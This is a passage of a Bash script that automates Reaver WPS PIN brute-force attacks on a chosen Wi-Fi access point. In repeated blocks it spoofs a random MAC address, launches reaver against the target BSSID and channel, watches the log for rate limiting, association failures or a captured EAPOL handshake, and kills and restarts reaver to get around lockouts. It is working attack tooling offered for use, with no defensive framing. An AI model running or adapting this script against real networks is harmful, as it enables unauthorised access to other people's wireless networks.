	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R1 == y || $USE_R1 == Y ]] && [[ $USE_LONG1 == n || $USE_LONG1 == N ]] && [[ $USE_PIN1 == n || $USE_PIN1 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME1"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL1"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP1"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX1" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY1"
echo -e "$info Reaver live time                   = $yel$LIVE1 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME1-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL1 -b $TARGETAP1 -vv -x 60 -r $RX1:$RY1 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME1-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE1-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R1 == n || $USE_R1 == N ]] && [[ $USE_LONG1 == y || $USE_LONG1 == Y ]] && [[ $USE_PIN1 == n || $USE_PIN1 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME1"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL1"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP1"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE1 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME1-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL1 -b $TARGETAP1 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME1-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE1-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

#rm $TARGETAP1-$PAD

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R1 == y || $USE_R1 == Y ]] && [[ $USE_LONG1 == y || $USE_LONG1 == Y ]] && [[ $USE_PIN1 == n || $USE_PIN1 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME1"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL1"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP1"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX1" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY1"
echo -e "$info Reaver live time                   = $yel$LIVE1 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME1-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL1 -b $TARGETAP1 -r $RX1:$RY1 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME1-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE1-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#rm $TARGETAP1-$PAD

#############PIN Addittions

if [[ $USE_R1 == n || $USE_R1 == N ]] && [[ $USE_LONG1 == n || $USE_LONG1 == N ]] && [[ $USE_PIN1 == y || $USE_PIN1 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME1"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL1"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP1"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE1 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME1-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL1 -b $TARGETAP1 -vv -x 60  --pin=$WPS_PIN1 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME1-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE1-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

